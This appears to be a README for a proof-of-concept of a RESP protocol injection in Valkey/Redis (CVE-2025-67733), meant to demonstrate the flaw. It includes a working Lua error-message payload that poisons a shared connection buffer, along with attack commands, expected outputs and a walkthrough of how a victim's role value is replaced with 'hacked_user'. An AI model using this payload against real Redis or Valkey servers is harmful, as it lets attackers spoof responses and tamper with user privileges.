jylab/cve-2025-67733Redis/Valkey RESP Injection PoC (CVE-2025-67733)
Proof-of-concept demonstrating RESP Protocol Injection vulnerability via Lua script error messages in Valkey/Redis.
Flask backend simulating a web application with shared Valkey connection (connection pooling).
Endpoints:
| Method | Endpoint | Description |
|---|---|---|
| POST | /api/user/role | Set user role |
| GET | /api/user/role | Get user role |
| POST | /api/process | Execute Lua script |
Usage:
python backend.py <Valkey host> <Valkey port> [password]
# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword
Injects malicious RESP data into the socket buffer via Lua script error message.
Payload:
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
Usage:
python attacker_client.py
Legitimate client that sets and retrieves user roles.
Usage:
python victim_client.py set # Set role to "normal_user"
python victim_client.py get # Get current role
pip install flask requests
Terminal 1 - Start Backend:
python backend.py 127.0.0.1 6379
Terminal 2 - Set Role:
python victim_client.py set
# Output: 'role':'normal_user' has been set.
python victim_client.py get
# Output: 'role':'normal_user'
Terminal 3 - Attack:
python attacker_client.py
# Output: Socket poisoning successful
Terminal 2 - Get Role (After Attack):
python victim_client.py get
# Output: 'role':'hacked_user'
1. Victim sets role
victim_client.py set --> backend --> Valkey
SET user:user:role "normal_user"
2. Attacker injects payload
attacker_client.py --> backend --> Valkey
EVAL 'error(...)' 0
Backend reads: "-ERR INJECTED\r\n"
Buffer remains: "$11\r\nhacked_user"
3. Victim gets role
victim_client.py get --> backend --> Valkey
GET user:user:role
Backend reads from buffer: "$11\r\nhacked_user"
Victim receives: "hacked_user"